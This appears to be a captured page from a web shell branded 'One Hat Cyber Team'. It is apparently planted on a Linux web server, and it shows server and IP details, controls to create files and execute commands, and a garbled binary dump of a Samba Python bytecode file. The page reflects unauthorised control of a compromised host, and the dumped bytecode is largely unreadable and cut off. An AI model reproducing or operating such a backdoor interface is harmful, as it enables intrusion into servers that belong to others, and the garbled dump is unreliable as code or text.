One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
samba
/
__pycache__
/
View File Name :
hostconfig.cpython-310.pyc
o �/a, � @ sD d Z ddlmZ G dd� de�ZG dd� de�ZG dd� de�Zd S ) zLocal host configuration.� )�SamDBc @ �( e Zd ZdZdd� Zdd� Zdd� ZdS ) � Hostconfigz[Aggregate object that contains all information about the configuration of a Samba host.c C � || _ d S �N)�lp��selfr � r �2/usr/lib/python3/dist-packages/samba/hostconfig.py�__init__ � zHostconfig.__init__c C s t | j�S r )�SharesContainerr �r r r r � get_shares r zHostconfig.get_sharesc C s t | j�� ||| jd�S )z�Access the SamDB host. :param session_info: Session info to use :param credentials: Credentials to access the SamDB with )�url�session_info�credentialsr )r r � samdb_url)r r r r r r � get_samdb s �zHostconfig.get_samdbN)�__name__� __module__�__qualname__�__doc__r r r r r r r r s r c @ s8 e Zd ZdZdd� Zdd� Zdd� Zdd � Zd d� ZdS ) r zA shares container.c C r r )�_lpr r r r r 2 r zSharesContainer.__init__c C s |dkrt �t| j| �S )N�global)�KeyError�Sharer �r �namer r r �__getitem__5 s zSharesContainer.__getitem__c C s&